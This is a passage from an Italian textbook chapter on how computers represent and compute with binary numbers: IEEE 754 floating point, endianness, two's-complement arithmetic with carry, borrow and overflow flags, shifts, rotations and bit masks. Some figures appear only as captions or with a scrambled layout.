bit 31 (1) segno: 0 = positivo; 1 = negativo
bit 23–30 (8) esponente in eccesso 127 = esponente originale + 127
bit 0–22 (23) significante (mantissa)

e = 0 *m = 0* zero, che può essere positivo o negativo
e = 0 *m <> 0* numero «denormalizzato»
e = 255 *m = 0* infinito, che può essere positivo o negativo
e = 255 *m <> 0* indefinito

Figura 74.29. IEEE 754 a precisione doppia.

segno	*e*											*m*																																																			
63	62	61	60	59	58	57	56	55	54	53	52	51	50	49	48	47	46	45	44	43	42	41	40	39	38	37	36	35	34	33	32	31	30	29	28	27	26	25	24	23	22	21	20	19	18	17	16	15	14	13	12	11	10	9	8	7	6	5	4	3	2	1	0

bit 63 (1) segno: 0 = positivo; 1 = negativo
bit 52–62 (11) esponente in eccesso 1023 = esponente originale + 1023
bit 0–51 (52) significante (mantissa)

e = 0 *m = 0* zero, che può essere positivo o negativo
e = 0 *m <> 0* numero «denormalizzato»
e = 2047 *m = 0* infinito, che può essere positivo o negativo
e = 2047 *m <> 0* indefinito

Conviene fare un esempio con la precisione singola: si vuole rappresentare il valore $21{,}11_{10}$. Si procede convertendo separatamente la parte intera e poi quella decimale. Il numero 21_{10} si converte facilmente in 10101_2, mentre per la parte decimale occorre fare qualche calcolo in più:

$0{,}11 \times 2 = 0{,}22 \rightarrow {,}0_2$
$0{,}22 \times 2 = 0{,}44 \rightarrow {,}00_2$
$0{,}44 \times 2 = 0{,}88 \rightarrow {,}000_2$
$0{,}88 \times 2 = 1{,}76 \rightarrow {,}0001_2$
$0{,}76 \times 2 = 1{,}52 \rightarrow {,}00011_2$
$0{,}52 \times 2 = 1{,}04 \rightarrow {,}000111_2$
$0{,}04 \times 2 = 0{,}08 \rightarrow {,}0001110_2$
$0{,}08 \times 2 = 0{,}16 \rightarrow {,}00011100_2$
$0{,}16 \times 2 = 0{,}32 \rightarrow {,}000111000_2$
$0{,}32 \times 2 = 0{,}64 \rightarrow {,}0001110000_2$
$0{,}64 \times 2 = 1{,}28 \rightarrow {,}00011100001_2$
$0{,}28 \times 2 = 0{,}56 \rightarrow {,}000111000010_2$
$0{,}56 \times 2 = 1{,}12 \rightarrow {,}0001110000101_2$
$0{,}12 \times 2 = 0{,}24 \rightarrow {,}00011100001010_2$

$0{,}24 \times 2 = 0{,}48 \rightarrow {,}000111000010100_2$
$0{,}48 \times 2 = 0{,}96 \rightarrow {,}0001110000101000_2$
$0{,}96 \times 2 = 1{,}92 \rightarrow {,}00011100001010001_2$
$0{,}92 \times 2 = 1{,}84 \rightarrow {,}000111000010100011_2$
$0{,}84 \times 2 = 1{,}68 \rightarrow {,}0001110000101000111_2$
$0{,}68 \times 2 = 1{,}36 \rightarrow {,}00011100001010001111_2$
$0{,}36 \times 2 = 0{,}72 \rightarrow {,}000111000010100011110_2$
...

Pertanto, $21{,}11_{10}$ corrisponde approssimativamente a $10101{,}000111000010100011110_2$. Per normalizzare il numero occorre spostare la virgola a sinistra e moltiplicare per una potenza di due: $1{,}0101000111000010100011110_2 \times 2^4$.

A questo punto si prelevano 23 cifre dopo la virgola, ma si richiede un arrotondamento (in questo caso avviene per eccesso), pertanto le cifre che compongono il significante diventano: $01010001110000101001000_2$. L'esponente va sommato al valore costante stabilito: 4+127 = 131. Quindi l'esponente si rappresenta così: 10000011_2. Trattandosi di un numero positivo, il bit del segno deve essere zero. Ecco il numero in virgola mobile, a precisione singola, espresso secondo la notazione standard (gli spazi aggiunti servono a facilitarne la lettura):

$0\ 10000011\ 01010001110000101001000_2$

Con questo metodo, un numero a precisione singola può avere un valore assoluto da $1_2 \times 2^{-126}$ a $1{,}1111\cdots_2 \times 2^{+127}$; mentre un numero a precisione doppia può avere un valore assoluto da $1_2 \times 2^{-1022}$ a $1{,}1111\cdots_2 \times 2^{+1023}$. Quando si devono rappresentare valori molto bassi, si azzerano i bit dell'esponente e si usa una forma «denormalizzata» di questo tipo per la precisione singola:

$0{,}\textit{\textbf{significante}}_2 \times 2^{-127}$

Per la precisione doppia:

$0{,}\textit{\textbf{significante}}_2 \times 2^{-1024}$

74.3.7 Ordine dei byte[5]

Generalmente si distinguono i microprocessori in base a una caratteristica legata al modo di ordinare i bit di un numero, presi a gruppi di otto. In pratica, di norma la memoria centrale degli elaboratori è organizzata a celle di otto bit (un byte), mentre il microprocessore è in grado di elaborare dati numerici con una quantità di bit maggiore (ma sempre multipli di otto). Nel momento in cui il microprocessore accede alla memoria centrale per leggere o scrivere un valore, lo fa secondo un ordine che dipende dalla sua progettazione.

Supponendo di avere a che fare con il valore $13579BDF_{16}$, se il microprocessore lo memorizza secondo la stessa sequenza (ovvero memorizza i byte 13_{16}, 57_{16}, $9B_{16}$ e DF_{16}), allora si dice che la sua architettura è *big endian*; diversamente, se il microprocessore memorizza invertendo la sequenza di byte (quindi DF_{16}, $9B_{16}$, 57_{16} e 13_{16}) si dice che questo lavora in modalità *little endian*.

Naturalmente, il microprocessore che scrive in memoria un valore secondo una sequenza di byte invertita, quando va a leggerlo dalla memoria si aspetta di trovarlo invertito nello stesso modo.

Sia chiaro che, all'interno di ogni byte, l'ordine dei bit non viene modificato. Inoltre, nel momento in cui si pensa a un'elaborazione all'interno del microprocessore, con dati contenuti nei suoi registri, non ha importanza conoscere qual è l'ordine dei byte.

74.4 Calcoli con i valori binari rappresentati nella forma usata negli elaboratori

Una volta chiarito il modo in cui si rappresentano comunemente i valori numerici elaborati da un microprocessore, in particolare per ciò che riguarda i valori negativi con il complemento a due, occorre conoscere in che modo si trattano o si possono trattare questi dati (indipendentemente dall'ordine dei byte usato).

Questi concetti tornano utili nella programmazione in linguaggio macchina o nei linguaggi assemblatori equivalenti, ma servono anche per linguaggi evoluti che conservano una rappresentazione dei valori conforme all'architettura dell'elaboratore.

74.4.1 Modifica della quantità di cifre di un numero binario intero

Un numero intero senza segno, espresso con una certa quantità di cifre, può essere trasformato in una quantità di cifre maggiore, aggiungendo degli zeri nella parte più significativa. Per esempio, il numero 0101_2 può essere trasformato in 00000101_2 senza cambiarne il valore. Nello stesso modo, si può fare una copia di un valore in un contenitore più piccolo, perdendo le cifre più significative, purché queste siano a zero, altrimenti il valore risultante sarebbe alterato.

Quando si ha a che fare con valori interi con segno, nel caso di valori positivi, l'estensione e la riduzione funzionano come per i valori senza segno, con la differenza che nella riduzione di cifre, la prima deve ancora rappresentare un segno positivo. Se invece si ha a che fare con valori negativi, l'aumento di cifre richiede l'aggiunta di cifre a uno nella parte più significativa, mentre la riduzione comporta l'eliminazione di cifre a uno nella parte più significativa, con il vincolo di mantenere inalterato il segno.

Figura 74.30. Aumento e riduzione delle cifre di un numero intero senza segno.

1 0 1 1 → 0 0 0 0 1 0 1 1

0 0 0 0 1 0 1 1 → 1 0 1 1

Figura 74.31. Aumento e riduzione delle cifre di un numero intero positivo.

segno

0 0 1 1 → 0 0 0 0 0 0 1 1

0 0 0 0 0 0 1 1 → 0 0 1 1

segno

Figura 74.32. Aumento e riduzione delle cifre di un numero intero negativo.

74.4.2 Sommatorie con i valori interi con segno

Vengono proposti alcuni esempi che servono a dimostrare le situazioni che si presentano quando si sommano valori con segno, ricordando che i valori negativi sono rappresentati come complemento alla base del valore assoluto corrispondente.

Figura 74.33. Somma di due valori positivi che genera un risultato valido.

Figura 74.34. Somma di due valori positivi, dove il risultato apparentemente negativo indica la presenza di un traboccamento.

Figura 74.35. Somma di un valore positivo e di un valore negativo: il risultato è sempre valido.

```
 0 0 0 0 1 0 1 1      (+ 11) +
 1 1 1 1 0 1 0 0      (- 12) =
 ---------------      --------
 1 1 1 1 1 1 1 1      (-  1)
 ^
 bit di segno
```

Figura 74.36. Somma di un valore positivo e di un valore negativo: in tal caso il risultato è sempre valido e se si manifesta un riporto, come in questo caso, va ignorato semplicemente.

```
   0 1 0 0 1 0 1 1      (+ 75) +
   1 1 1 1 0 1 0 0      (- 12) =
   ---------------      --------
 1 0 0 1 1 1 1 1 1      (+ 63)
 ^ ^
 | bit di segno
 riporto da ignorare
```

Figura 74.37. Somma di due valori negativi che produce un segno coerente e un riporto da ignorare.

```
   1 1 0 0 1 0 1 1      (- 53) +
   1 1 1 1 0 1 0 0      (- 12) =
   ---------------      --------
 1 1 0 1 1 1 1 1 1      (- 65)
 ^ ^
 | bit di segno
 riporto da ignorare
```

Figura 74.38. Somma di due valori negativi che genera un traboccamento, evidenziato da un risultato con un segno incoerente.

```
   bit di segno
   v
   1 0 0 0 1 0 1 1      (- 117) +
   1 1 1 1 0 1 0 0      (-  12) =
   ---------------      ---------
 1 0 1 1 1 1 1 1 1      (- 129)
 ^ ^
 | traboccamento
 riporto da ignorare
```

Dagli esempi mostrati si comprende facilmente che la somma di due valori con segno va fat-

ta ignorando il riporto, perché quello che conta è che il segno risultante sia coerente: se si sommano due valori positivi, perché il risultato sia valido deve essere positivo; se si somma un valore positivo con uno negativo il risultato è sempre valido; se si sommano due valori negativi, perché il risultato sia valido deve rimanere negativo.

74.4.3 Somme e sottrazioni con i valori interi senza segno

La somma di due numeri interi senza segno avviene normalmente, senza dare un valore particolare al bit più significativo, pertanto, se si genera un riporto, il risultato non è valido (salva la possibilità di considerarlo assieme al riporto). Se invece si vuole eseguire una sottrazione, il valore da sottrarre va «invertito», con il complemento a due, ma sempre evitando di dare un significato particolare al bit più significativo. Il valore «normale» e quello «invertito» vanno sommati come al solito, ma **se il risultato non genera un riporto**, allora **è sbagliato**, in quanto il sottraendo è più grande del minuendo.

Per comprendere come funziona la sottrazione, si consideri di volere eseguire un'operazione molto semplice: 1−1. Il minuendo (il primo valore) sia espresso come 00000001_2; il sottraendo (il secondo valore) che sarebbe uguale, va trasformato attraverso il complemento a due, diventando così pari a 11111111_2. A questo punto si sommano algebricamente i due valori e si ottiene 00000000_2 con riporto di uno. Il riporto di uno dà la garanzia che il risultato è corretto. Volendo provare a sottrarre un valore più grande, si vede che il riporto non viene ottenuto: 1−2. In questo caso il minuendo si esprime come nell'esempio precedente, mentre il sottraendo è 00000010_2 che si trasforma nel complemento a due 11111110_2. Se si sommano i due valori si ottiene semplicemente 11111111_2, senza riporto, ma questo valore che va inteso senza segno è evidentemente errato.

Figura 74.39. Sottrazione tra due numeri interi senza segno, dove il sottraendo ha un valore assoluto minore di quello del minuendo: la presenza del riporto conferma la validità del risultato.

```
0011-                    0011+
0011=   complemento -->  1101=
-----                   ------
0000                    1|0000
```

complemento

risultato

il riporto conferma la validità del risultato
naturalmente il riporto viene ignorato

Figura 74.40. Sottrazione tra due numeri interi senza segno, dove il sottraendo ha un valore assoluto maggiore di quello del minuendo: l'assenza di un riporto indica un risultato errato della sottrazione.

```
 0011-                        0011+
 0100=    complemento  -->    1100=
 -----                       -----
-0001                       0 1111
```

complemento

la mancanza del riporto indica un risultato errato

risultato errato (perché considerato senza segno)

Sulla base della spiegazione data, c'è però un problema, dovuto al fatto che il complemento a due di un valore a zero dà sempre zero: se si fa la sottrazione con il complemento, il risultato è comunque corretto, ma non si ottiene un riporto.

Figura 74.41. Sottrazione con sottraendo a zero: non si ottiene riporto, ma il risultato è corretto ugualmente.

```
 0011-                        0011+
 0000=    complemento  -->    0000=
 -----                       -----
-0011                       0 0011
```

complemento

in questa situazione particolare, il riporto è zero, ma il risultato è corretto ugualmente

risultato corretto

Per correggere questo problema, il complemento a due del numero da sottrarre, va eseguito in due fasi: prima si calcola il complemento a uno, poi si somma il minuendo al sottraendo complementato, aggiungendo una unità ulteriore. Le figure successive ripetono gli esempi già mostrati, attuando questo procedimento differente.

Figura 74.42. Il complemento a due viene calcolato in due fasi: prima si calcola il complemento a uno, poi si sommano il minuendo e il sottraendo invertito, più una unità.

```
                                 1+
 0011-                        0011+
 0011=  complemento a uno -->  1100=
 -----                        -----
 0000                        1 0000
```

complemento a uno

il riporto conferma la validità del risultato naturalmente il riporto viene ignorato

risultato

1 +
0 0 1 1 − 0 0 1 1 +
0 1 0 0 = *complemento a uno* → 1 0 1 1 =
−0 0 0 1 0 1 1 1 1

la mancanza del riporto indica un risultato errato

risultato errato (perché considerato senza segno)

Figura 74.44. Sottrazione con sottraendo a zero: calcolando il complemento a due attraverso il complemento a uno, si ottiene un riporto coerente.

1 +
0 0 1 1 − 0 0 1 1 +
0 0 0 0 = *complemento a uno* → 1 1 1 1 =
−0 0 1 1 1 0 0 1 1

il riporto conferma la validità del risultato naturalmente il riporto viene ignorato

risultato corretto

74.4.4 Somme e sottrazioni in fasi successive

«

Quando si possono eseguire somme e sottrazioni solo con una quantità limitata di cifre, mentre si vuole eseguire un calcolo con numeri più grandi della capacità consentita, si possono suddividere le operazioni in diverse fasi. La somma tra due numeri interi è molto semplice, perché ci si limita a tenere conto del riporto ottenuto nelle fasi precedenti. Per esempio, dovendo sommare $0101\ 1010\ 1100_2$ a $1000\ 0101\ 0111_2$ e potendo operare solo a gruppi di quattro bit per volta: si parte dal primo gruppo di bit meno significativo, 1100_2 e 0111_2, si sommano i due valori e si ottiene 0011_2 con riporto di uno; si prosegue sommando 1010_2 con 0101_2 aggiungendo il riporto e ottenendo 0000_2 con riporto di uno; si conclude sommando 0101_2 e 1000_2, aggiungendo il riporto della somma precedente e si ottiene così 1110_2. Quindi, il risultato è $1110\ 0000\ 0011_2$.

Figura 74.45. Somma per fasi successive, tenendo conto del riporto.

0 1 0 1 1 0 1 0 1 1 0 0 +
1 0 0 0 0 1 0 1 0 1 1 1 =
1 1 1 0 0 0 0 0 0 0 1 1

1 1
0 1 0 1 + 1 0 1 0 + 1 1 0 0 +
1 0 0 0 = 0 1 0 1 = 0 1 1 1 =
1 1 1 0 1 0 0 0 0 1 0 0 1 1

riporto

Nella sottrazione tra numeri senza segno, il sottraendo va trasformato secondo il complemento a due, quindi si esegue la somma e si considera che ci deve essere un riporto, altrimenti significa che il sottraendo è maggiore del minuendo. Quando si deve eseguire la sottrazione a gruppi di cifre più piccoli di quelli che richiede il valore per essere rappresentato, si può procedere in modo simile a quello che si usa con la somma, con la differenza che «l'assenza del riporto» indica la richiesta di prendere a prestito una cifra.

Per comprendere il procedimento è meglio partire da un esempio. In questo caso si utilizzano i valori già visti, ma invece di sommarli si vuole eseguire la sottrazione. Per la precisione, si intende prendere $1000\,0101\,0111_2$ come minuendo e $0101\,1010\,1100_2$ come sottraendo. Anche in questo caso si suppone di poter eseguire le operazioni solo a gruppi di quattro bit. Si esegue il complemento a due dei tre gruppetti di quattro bit del sottraendo, in modo indipendente, ottenendo: 1011_2, 0110_2, 0100_2. A questo punto si eseguono le somme, a partire dal gruppo meno significativo. La prima somma, $0111_2 + 0100_2$, dà 1011_2, senza riporto, pertanto occorre prendere a prestito una cifra dal gruppo successivo: ciò significa che va eseguita la somma del gruppo successivo, sottraendo una unità dal risultato: $0101_2 + 0110_2 - 0001_2 = 1010_2$. Anche per il secondo gruppo non si ottiene il riporto della somma, così, anche dal terzo gruppo di bit occorre prendere a prestito una cifra: $1000_2 + 1011_2 - 0001_2 = 0010_2$. L'ultima volta la somma genera il riporto (da ignorare) che conferma la correttezza del risultato complessivo, ovvero che la sottrazione è avvenuta con successo.

Va però ricordato il problema legato allo zero, il cui complemento a due dà sempre zero. Se si cambiano i valori dell'esempio, lasciando come minuendo quello precedente, $1000\,0101\,0111_2$, ma modificando il sottraendo in modo da avere le ultime quattro cifre a zero, $0101\,1010\,0000_2$, il procedimento descritto non funziona più. Infatti, il complemento a due di 0000_2 rimane 0000_2 e se si somma questo a 0111_2 si ottiene lo stesso valore, ma senza riporti. In questo caso, nonostante l'assenza del riporto, il gruppo dei quattro bit successivi, del sottraendo, va trasformato con il complemento a due, senza togliere l'unità che sarebbe prevista secondo l'esempio precedente. In pratica, per poter eseguire la sottrazione per fasi successive, occorre definire un concetto diverso: il prestito (*borrow*) che non deve scattare quando si sottrae un valore pari a zero.

Se il complemento a due viene ottenuto passando per il complemento a uno, con l'aggiunta di una cifra, si può spiegare in modo più semplice il procedimento della sottrazione per fasi successive: invece di calcolare il complemento a due dei vari tronconi, si calcola semplicemente il complemento a uno e al gruppo meno significativo si aggiunge una unità per ottenere lì l'equivalente di un complemento a due. Successivamente, il riporto delle somme eseguite va aggiunto al gruppo adiacente più significativo, come si farebbe con la somma: se la sottrazione del gruppo precedente non ha bisogno del prestito di una cifra, si ottiene l'aggiunta una unità al gruppo successivo.

Figura 74.46. Sottrazione per fasi successive, tenendo conto del prestito delle cifre.

complemento a uno

si somma una unità per ottenere il complemento a due

```
                      0        0        1
100001010111 -     1000+    0101+    0111 +
010110101100 =     1010=    0101=    0011 =
001010101011      10010    01010    01011
```

riporto del prestito di una cifra

riporto da ignorare che conferma il successo della sottrazione nel caso di valori senza segno

Figura 74.47. Verifica del procedimento anche in presenza di un sottraendo a zero.

complemento a uno

si somma una unità per ottenere il complemento a due

```
                      0        1        1
100001010111 -     1000+    0101+    0111 +
010110100000 =     1010=    0101=    1111 =
001010110111      10010    01011    10111
```

riporto del prestito di una cifra

riporto da ignorare che conferma il successo della sottrazione nel caso di valori senza segno

La sottrazione per fasi successive funziona anche con valori che, complessivamente, hanno un segno. L'unica differenza sta nel modo di valutare il risultato complessivo: l'ultimo gruppo di cifre a essere considerato (quello più significativo) è quello che contiene il segno ed è il segno del risultato che deve essere coerente, per stabilire se ciò che si è ottenuto è valido. Pertanto, nel caso di valori con segno, il riporto finale si ignora, esattamente come si fa quando la sottrazione avviene in una fase sola, mentre l'esistenza o meno del traboccamento deriva dal confronto della cifra più significativa: se la sottrazione, dopo la trasformazione in somma con il complemento, implica la somma valori con lo stesso segno, il risultato deve ancora avere quel segno, altrimenti c'è il traboccamento.

Se si volessero considerare gli ultimi due esempi come la sottrazione di valori con segno, il minuendo si intenderebbe un valore negativo, mentre il sottraendo sarebbe un valore positivo. Attraverso il complemento si passa alla somma di due valori negativi, ma dal momento che si ottiene un risultato con segno positivo, ciò manifesta un traboccamento, ovvero un risultato errato, perché non contenibile nello spazio disponibile.

74.4.5 Indicatori

Quando si esegue un calcolo con un microprocessore, oltre al risultato puro e semplice è necessario annotare altre informazioni sull'esito dell'operazione stessa. Come già descritto, una somma può dare luogo a un traboccamento o a un riporto, così come una sottrazione può richiedere un prestito di una cifra. Queste e altre informazioni, che non possono essere incorporate nel risultato di un calcolo, finiscono all'interno di indicatori (*flag*), ovvero di bit singoli, ognuno con un proprio significato preciso. Le figure successive dimostrano il funzionamento degli indicatori più comuni.

Figura 74.48. Somma di interi: se i numeri sono da intendersi senza segno, il risultato non è completo in quanto si genera un riporto; se i numeri sono da intendersi con segno, in tal caso sono negativi, ma la loro somma produce un traboccamento.

11010111 +
10011010 =
riporto (carry) 1 01110001
l'indicatore «zero» si attiva quando il risultato è pari a zero
segno
se i valori sommati hanno lo stesso segno, ma il risultato ne ha uno diverso, c'è il traboccamento (overflow)
indicatori
1001
carry zero segno overflow

Figura 74.49. Somma di interi: se i numeri sono da intendersi senza segno, il risultato non è completo in quanto si genera un riporto; se i numeri sono da intendersi con segno, in tal caso hanno segni diversi tra di loro e questo impedisce che si crei un traboccamento, inoltre il risultato è zero e si attiva l'indicatore relativo.

11010111 +
00101001 =
riporto (carry) 1 00000000
l'indicatore «zero» si attiva quando il risultato è pari a zero
segno
se i valori sommati hanno lo stesso segno, ma il risultato ne ha uno diverso, c'è il traboccamento (overflow)
indicatori
1100
carry zero segno overflow

Figura 74.50. Somma di interi: se i numeri sono da intendersi senza segno, il risultato è completo in quanto non si genera un riporto; se i numeri sono da intendersi con segno, in tal caso hanno segni diversi tra di loro e questo impedisce che si crei un traboccamento, inoltre il risultato è negativo e questo attiva l'indicatore di segno.

Come già descritto in altre sezioni, le sottrazioni vanno eseguite calcolando prima il complemento a uno del sottraendo e poi aggiungendo una unità ulteriore. In questo modo, ciò che nella somma rappresenterebbe un riporto, qui va invertito per segnalare la richiesta di un prestito (*borrow*).

Figura 74.51. Sottrazione di interi: se i numeri sono da intendersi senza segno, il risultato è completo in quanto non si genera la richiesta di prestito di una cifra; se i numeri sono da intendersi con segno, si tratta di valori negativi, ma la somma genera un cambiamento di segno, pertanto si attiva l'indicatore di traboccamento.

Figura 74.52. Sottrazione di interi: qui viene sottratto zero da un valore. Utilizzando il meccanismo del complemento a uno, aggiungendo una unità alla somma, si evita che scatti la richiesta di prestito, come è logico che sia. In questo caso, dato che il risultato è negativo, si attiva l'indicatore di segno.

74.5 Scorrimenti, rotazioni, operazioni logiche

Le operazioni più semplici che si possono compiere con un microprocessore sono quelle che riguardano la logica booleana e lo scorrimento dei bit. Proprio per la loro semplicità è importante conoscere alcune applicazioni interessanti di questi procedimenti elaborativi.

74.5.1 Scorrimento logico

Lo scorrimento «logico» consiste nel fare scalare le cifre di un numero binario, verso sinistra (verso la parte più significativa) o verso destra (verso la parte meno significativa). Nell'eseguire questo scorrimento, da un lato si perde una cifra, mentre dall'altro si acquista uno zero.

Figura 74.53. Scorrimento logico a sinistra, perdendo le cifre più significative e scorrimento logico a destra, perdendo le cifre meno significative.

Lo scorrimento di una posizione verso sinistra corrisponde alla moltiplicazione del valore per due, mentre lo scorrimento a destra corrisponde a una divisione intera per due; scorrimenti di ***n*** posizioni rappresentano moltiplicazioni e divisioni per 2^n. Le cifre che si perdono nello scorrimento a sinistra si possono considerare come il riporto della moltiplicazione, mentre le cifre che si perdono nello scorrimento a destra sono il resto della divisione.

74.5.2 Scorrimento aritmetico

Il tipo di scorrimento descritto nella sezione precedente, se utilizzato per eseguire moltiplicazioni e divisioni, va bene solo per valori senza segno. Se si intende fare lo scorrimento di un valore con segno, occorre distinguere due casi: lo scorrimento a sinistra è valido se il risultato non cambia di segno; lo scorrimento a destra implica il mantenimento del bit che rappresenta il segno e l'aggiunta di cifre uguali a quella che rappresenta il segno stesso.

Figura 74.54. Scorrimento aritmetico a sinistra e a destra, di un valore negativo.

74.5.3 Scorrimento e indicatori

Tenendo conto che gli scorrimenti si eseguono sempre per una sola posizione alla volta e che rappresentano una moltiplicazione o una divisione per due, tornano utili gli stessi indicatori descritti a proposito di somme e sottrazioni. Come già accennato, il riporto viene usato per segnalare la cifra che viene perduta (sia per lo scorrimento verso sinistra, sia per quello verso destra), mentre l'indicatore di traboccamento (*overflow*) serve a segnalare che il risultato cambia di segno.

Lo scorrimento aritmetico verso sinistra avviene nello stesso modo di quello «logico». Nel caso il valore che viene fatto scorrere sia considerato privo di segno, il risultato della moltiplicazione per due è valido se non si presenta un riporto; se invece il valore ha un segno, il risultato è «corretto» se il segno non è cambiato.

Figura 74.55. Scorrimento a sinistra. Nel lato sinistro si vede che il risultato non è valido se si tratta di un valore senza segno, in quanto si presenta un riporto, mentre sarebbe valido se fosse un valore con segno, perché questo non cambia. A destra, invece, si vede un valore che se è da intendere senza segno, dà un risultato corretto, mentre se ha il segno, il risultato non è più valido perché il segno si inverte (*overflow*).

Lo scorrimento verso destra avviene in modo diverso se il valore va inteso con segno o senza segno, perché se si presta attenzione al segno si usa lo scorrimento aritmetico che inserisce a sinistra cifre uguali al segno precedente. Pertanto, nello scorrimento a destra si considera solo il resto, che finisce in pratica nello stesso indicatore del riporto.

Figura 74.56. Nel lato sinistro si vede uno scorrimento «logico» che produce un resto, mentre in quello destro si vede uno scorrimento aritmetico che, in questo caso, non produce alcun resto.

74.5.4 Moltiplicazione

La moltiplicazione si ottiene attraverso diverse fasi di scorrimento e somma di un valore, dove però il risultato richiede un numero doppio di cifre rispetto a quelle usate per il moltiplicando e il moltiplicatore. Il procedimento di moltiplicazione deve avvenire sempre con valori senza segno. Se i valori si intendono con segno, quando sono negativi occorre farne prima il complemento a due, in modo da portarli a valori positivi, quindi occorre decidere se il risultato va preso così come viene o se va invertito a sua volta con il complemento a due: se i valori molti-

plicati hanno segno diverso tra loro, il risultato deve essere trasformato con il complemento a due per renderlo negativo, altrimenti il risultato è sempre positivo.

Figura 74.57. Moltiplicazione.

74.5.5 Divisione

La divisione si ottiene attraverso diverse fasi di scorrimento di un valore, che di volta in volta viene sottratto al dividendo, ma solo se la sottrazione è possibile effettivamente. Il procedimento di divisione deve avvenire sempre con valori senza segno. Se i valori si intendono con segno, quando sono negativi occorre farne prima il complemento a due, in modo da portarli a valori positivi, quindi occorre decidere se il risultato va preso così come viene o se va invertito a sua volta con il complemento a due: se dividendo e divisore hanno segni diversi tra loro, il risultato deve essere trasformato con il complemento a due per renderlo negativo, altrimenti il risultato è sempre positivo.

Figura 74.58. Divisione: i valori sono intesi senza segno.

74.5.6 Rotazione

La rotazione è uno scorrimento dove le cifre che si perdono da una parte rientrano dall'altra. Esistono due tipi di rotazione; uno «normale» e l'altro che include nella rotazione il bit del riporto. Dal momento che la rotazione non si presta per i calcoli matematici, di solito non viene considerato il segno.

Figura 74.59. Rotazione normale.

rotazione a sinistra
1 1 0 1 1 0 1 1
1 0 1 1 0 1 1 1

1 1 0 1 1 0 1 1
1 1 1 0 1 1 0 1
rotazione a destra

Figura 74.60. Rotazione con riporto.

rotazione a sinistra con riporto
0 1 1 0 1 1 0 1 1
1 1 0 1 1 0 1 1 0
riporto

0 1 1 0 1 1 0 1 1
1 0 1 1 0 1 1 0 1
rotazione a destra con riporto
riporto

74.5.7 Rotazione e indicatori

Le rotazioni non sono riconducibili a operazioni matematiche, ma si usa ugualmente l'indicatore del riporto per conservare la cifra persa; inoltre, l'indicatore di traboccamento può servire per annotare un'ipotesi di cambiamento di segno.

Figura 74.61. Rotazione normale. La cifra che fuoriesce da un lato e rientra dall'altro, rimane annotata nell'indicatore di riporto; nel caso dell'esempio di rotazione a destra, l'indicatore di traboccamento segnala che la cifra più significativa è diversa rispetto alla fase precedente.

rotazione a sinistra
1 1 0 1 1 0 1 0
1 0 1 1 0 1 0 1
indicatori
1 0 0 0
carry zero segno overflow

1 1 0 1 1 0 1 0
0 1 1 0 1 1 0 1
rotazione a destra
indicatori
0 0 0 1
carry zero segno overflow

Figura 74.62. Rotazione con riporto. La cifra che fuoriesce da un lato entra nel riporto, mentre dall'altro lato entra la cifra conservata nel riporto precedente; nel caso dell'esempio di rotazione a destra, l'indicatore di traboccamento segnala che la cifra più significativa è diversa rispetto alla fase precedente.

rotazione a sinistra con riporto: 0 1 1 0 1 1 0 1 1 → 1 1 0 1 1 0 1 1 0 (riporto) — indicatori: carry 0, zero 0, segno 0, overflow 0

rotazione a destra con riporto: 0 1 1 0 1 1 0 1 1 → 1 0 1 1 0 1 1 0 1 (riporto) — indicatori: carry 1, zero 0, segno 0, overflow 1

74.5.8 Operatori logici

Gli operatori logici si possono applicare anche a valori composti da più cifre binarie.

Figura 74.63. AND e OR.

1 1 0 1 1 0 1 1 *a*	1 1 0 1 1 0 1 1 *a*
0 1 1 0 1 1 0 1 *b*	0 1 1 0 1 1 0 1 *b*
0 1 0 0 1 0 0 1 *a AND b*	1 1 1 1 1 1 1 1 *a OR b*

Figura 74.64. XOR e NOT.

1 1 0 1 1 0 1 1 *a*	1 1 0 1 1 0 1 1 *a*
0 1 1 0 1 1 0 1 *b*	
1 0 1 1 0 1 1 0 *a XOR b*	0 0 1 0 0 1 0 0 *NOT a*

È importante osservare che l'operatore NOT esegue in pratica il complemento a uno di un valore.

Capita spesso di trovare in un sorgente scritto in un linguaggio assemblatore un'istruzione che assegna a un registro il risultato dell'operatore XOR su se stesso. Ciò si fa, evidentemente, per azzerarne il contenuto, quando, probabilmente, l'assegnamento esplicito di un valore a un registro richiede una frazione di tempo maggiore per la sua esecuzione.

Figura 74.65. XOR per azzerare i valori.

1 1 0 1 1 0 1 1 *a*
1 1 0 1 1 0 1 1 *a*
0 0 0 0 0 0 0 0 *a XOR a*

74.5.9 Intervenire su bit singoli

Quando si lavora con valori binari composti da una quantità prestabilita di cifre, per intervenire singolarmente o comunque solo parzialmente sulle stesse occorre predisporre delle maschere da abbinare poi con un operatore logico appropriato. Segue la descrizione di alcuni esempi.

- Si vuole attivare il quarto bit (contando a partire dalla cifra meno significativa) nella variabile ***x***.

  x := ***x*** OR 8_{10}

  ```
  11011011  x                        10110110  x
  00001000  8₁₀ (mashera)            00001000  8₁₀ (mashera)
  --------                           --------
  11011011  x OR 8₁₀                 10111110  x OR 8₁₀
  ```

- Si vuole disattivare il quarto bit (contando a partire dalla cifra meno significativa) nella variabile ***x***.

  x := ***x*** AND (NOT 8_{10})

  ```
  00001000  8₁₀                      11011011  x
  --------                           11110111  NOT 8₁₀  (mashera)
  11110111  NOT 8₁₀                  --------
                                     11010011  x AND (NOT 8₁₀)
  ```

- Si vuole invertire il quarto bit (contando a partire dalla cifra meno significativa) nella variabile ***x***.

  x := ***x*** XOR 8_{10}

  ```
  11011011  x                        10110110  x
  00001000  8₁₀ (mashera)            00001000  8₁₀ (mashera)
  --------                           --------
  11010011  x XOR 8₁₀                10111110  x XOR 8₁₀
  ```

- Si vuole dividere un valore per otto (che è una potenza di due, ovvero 2^3), calcolando il quoziente intero e il resto. Per farlo occorre far scorrere il valore verso destra, di tre posizioni. Tenendo conto che le cifre che vengono espulse sono quelle che rappresentano il resto, questo lo si può ottenere con una maschera pari a sette ($2^3 - 1$), abbinata con l'operatore AND.

  ```
  divisione per otto, ottenuta con lo scorrimento     calcolo del resto di una divisione per otto
  a destra di tre cifre
                                                      11011011   x
  11011|011  ÷                                        00000111   8₁₀ − 1
  00001|000  =                                        --------
  --------                                            00000011   x AND (8−1)
  00011011|011
  divisione intera | resto
  ```

74.5.10 Somme e sottrazioni abbinate agli operatori logici

Esiste una proprietà interessante della sottrazione, quando viene abbinata all'operatore logico AND. Come si vede nella figura successiva, quando si riduce un valore di una unità, quella che prima era la cifra a uno meno significativa passa a zero, mentre le cifre precedenti passano a uno. Così facendo, se si abbinano i due valori (quello originale e quello ridotto di una unità) con l'operatore AND, si ottiene un nuovo valore in cui, semplicemente, la cifra meno significativa a uno passa a zero:

$$
\begin{aligned}
